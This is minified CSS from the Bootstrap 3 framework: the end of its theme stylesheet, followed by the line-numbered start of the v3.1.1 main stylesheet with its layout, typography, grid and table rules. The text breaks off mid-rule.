100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0);background-color:#357ebd}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f3f3f3 100%);background-image:linear-gradient(to bottom,#ebebeb 0,#f3f3f3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff3f3f3', GradientType=0);-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.navbar-inverse .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top,#222 0,#282828 100%);background-image:linear-gradient(to bottom,#222 0,#282828 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff282828', GradientType=0);-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-static-top,.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0)}.progress-bar{background-image:-webkit-linear-gradient(top,#428bca 0,#3071a9 100%);background-image:linear-gradient(to bottom,#428bca 0,#3071a9 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3071a9', GradientType=0)}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0)}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0)}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0)}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{text-shadow:0 -1px 0 #3071a9;background-image:-webkit-linear-gradient(top,#428bca 0,#3278b3 100%);background-image:linear-gradient(to bottom,#428bca 0,#3278b3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3278b3', GradientType=0);border-color:#3278b3}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0)}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#428bca 0,#357ebd 100%);background-image:linear-gradient(to bottom,#428bca 0,#357ebd 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0)}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0)}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0)}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0)}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0)}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)}
0 /*!
1 * Bootstrap v3.1.1 (http://getbootstrap.com)
2 * Copyright 2011-2014 Twitter, Inc.
3 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
4 */
5
6 /*! normalize.css v3.0.0 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:0 0}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}@media print{*{text-shadow:none!important;color:#000!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%!important}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.table td,.table th{background-color:#fff!important}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table-bordered th,.table-bordered td{border:1px solid #ddd!important}}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:hover,a:focus{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive,.thumbnail>img,.thumbnail a>img,.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:400;line-height:1;color:#999}h1,.h1,h2,.h2,h3,.h3{margin-top:20px;margin-bottom:10px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10px;margin-bottom:10px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:200;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}small,.small{font-size:85%}cite{font-style:normal}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-muted{color:#999}.text-primary{color:#428bca}a.text-primary:hover{color:#3071a9}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#428bca}a.bg-primary:hover{background-color:#3071a9}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:20px}dt,dd{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#999}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0;text-align:right}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}blockquote:before,blockquote:after{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;white-space:nowrap;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}.row{margin-left:-15px;margin-right:-15px}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:0}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:0}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:0}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:0}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:0}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:0}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:0}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:0}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{max-width:100%;background-color:transparent}th{text-align:left}.table{width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5}table col[class*=col-]{position:static;float:none;display:table-column}table td[class*=col-],table th[class*=col-]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>